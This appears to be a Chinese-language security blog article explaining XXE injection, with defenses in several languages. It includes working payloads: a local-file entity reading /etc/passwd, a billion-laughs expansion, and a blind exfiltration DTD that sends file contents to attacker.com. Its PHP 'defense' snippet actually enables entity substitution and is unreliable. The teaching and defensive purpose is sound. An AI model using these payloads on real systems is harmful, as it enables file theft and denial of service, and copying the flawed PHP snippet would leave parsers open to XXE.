Luke a Pro

Luke Sun

Developer & Marketer

🇺🇦
EN||

XML 外部實體 (XXE) 注入

| , 4 minutes reading.

1. 定義

XML 外部實體 (XXE) 注入 是一種針對解析 XML 輸入的應用程式的漏洞。它利用 XML 的一個稱為「外部實體」的特性來:

  • 讀取伺服器上的任意檔案
  • 執行伺服器端請求偽造 (SSRF)
  • 執行阻斷服務攻擊
  • 在某些情況下實現遠端程式碼執行

當 XML 解析器被設定為處理外部實體宣告(可以參照本機檔案或遠端 URL)時,就會出現 XXE 漏洞。

2. 技術原理

XML 允許定義實體作為內容的捷徑。外部實體可以參照 XML 文件外部的內容。

基本 XML 實體語法:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY myEntity "Hello World">
]>
<root>&myEntity;</root>

外部實體 (XXE) 載荷:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

解析時,&xxe; 會被替換為 /etc/passwd 的內容。

常見的 XXE 攻擊類型:

  1. 檔案洩露: 讀取敏感檔案(/etc/passwd、設定檔、原始碼)。
  2. SSRF: 向內部服務發起請求(http://169.254.169.254/)。
  3. 盲 XXE: 當輸出不返回時,透過帶外通道洩露資料。
  4. 十億笑聲 (DoS): 指數級擴展的實體使解析器當機。

十億笑聲攻擊:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root>&lol4;</root>

這個小載荷在記憶體中會擴展到數 GB 的資料。

3. 攻擊流程

sequenceDiagram
    participant Attacker as 攻擊者
    participant WebApp as Web 應用程式
    participant XMLParser as XML 解析器
    participant FileSystem as 檔案系統

    Attacker->>WebApp: POST /api/upload<br/>Content-Type: application/xml

    Note over Attacker: 包含外部實體定義的<br/>XML 載荷

    WebApp->>XMLParser: 解析 XML 輸入

    XMLParser->>XMLParser: 處理 DOCTYPE 宣告<br/>發現外部實體

    XMLParser->>FileSystem: 讀取 file:///etc/passwd

    FileSystem-->>XMLParser: 返回檔案內容

    XMLParser-->>WebApp: 解析後的 XML 包含檔案內容

    WebApp-->>Attacker: 回應包含 /etc/passwd

4. 真實案例:Facebook XXE (2014)

目標: Facebook 招聘入口網站。 漏洞類別: 透過 Word 文件上傳的盲 XXE。

漏洞背景: Facebook 的招聘頁面允許用戶上傳履歷。該應用程式接受 .docx 檔案,這實際上是包含 XML 檔案的 ZIP 壓縮檔。處理這些檔案的 XML 解析器啟用了外部實體處理。

攻擊過程: 安全研究員 Mohamed Ramadan 發現:

  1. .docx 檔案包含 XML 檔案(例如 word/document.xml)。
  2. 他製作了一個在 XML 中包含 XXE 載荷的惡意 .docx
  3. 載荷參照了他控制的外部 URL。
  4. 當 Facebook 解析文件時,它向他的伺服器發起了請求。

盲 XXE 資料洩露: 由於檔案內容沒有直接返回,他使用參數實體來洩露資料:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

外部 DTD(evil.dtd)包含:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

影響: 這允許讀取 Facebook 伺服器上的任意檔案。Mohamed 獲得了 33,500 美元的獎金,Facebook 透過停用外部實體處理修復了該漏洞。

5. 深度防禦策略

A. 停用外部實體處理

最有效的防禦是完全停用外部實體。

Java (DocumentBuilderFactory):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python (lxml):

from lxml import etree

parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)

PHP:

libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);

.NET:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

B. 使用更簡單的資料格式

如果可能,避免對用戶輸入使用 XML。

  • JSON: 沒有實體處理功能。
  • YAML: 更簡單的結構(但有其自身的安全問題)。
  • Protocol Buffers / MessagePack: 沒有這些風險的二進位格式。

C. 輸入驗證

如果必須使用 XML,請驗證和清理輸入。

  • Schema 驗證: 使用 XSD 強制執行結構。
  • 剝離 DOCTYPE: 移除或拒絕包含 DOCTYPE 宣告的 XML。
  • Content-Type 檢查: 確保上傳的檔案與預期類型相符。

D. Web 應用程式防火牆 (WAF)

設定 WAF 規則以偵測 XXE 模式。

  • 阻止包含 <!ENTITY<!DOCTYPESYSTEMPUBLIC 的請求。
  • 注意攻擊者可能使用編碼來繞過簡單的模式比對。

E. 最小權限

限制 XML 解析器的存取權限。

  • 檔案系統: 在具有最小檔案存取權限的沙箱環境中執行解析器。
  • 網路: 阻止 XML 處理服務的出站連線。
  • 用戶權限: 解析器處理程序不應以 root 身分執行。

6. 參考資料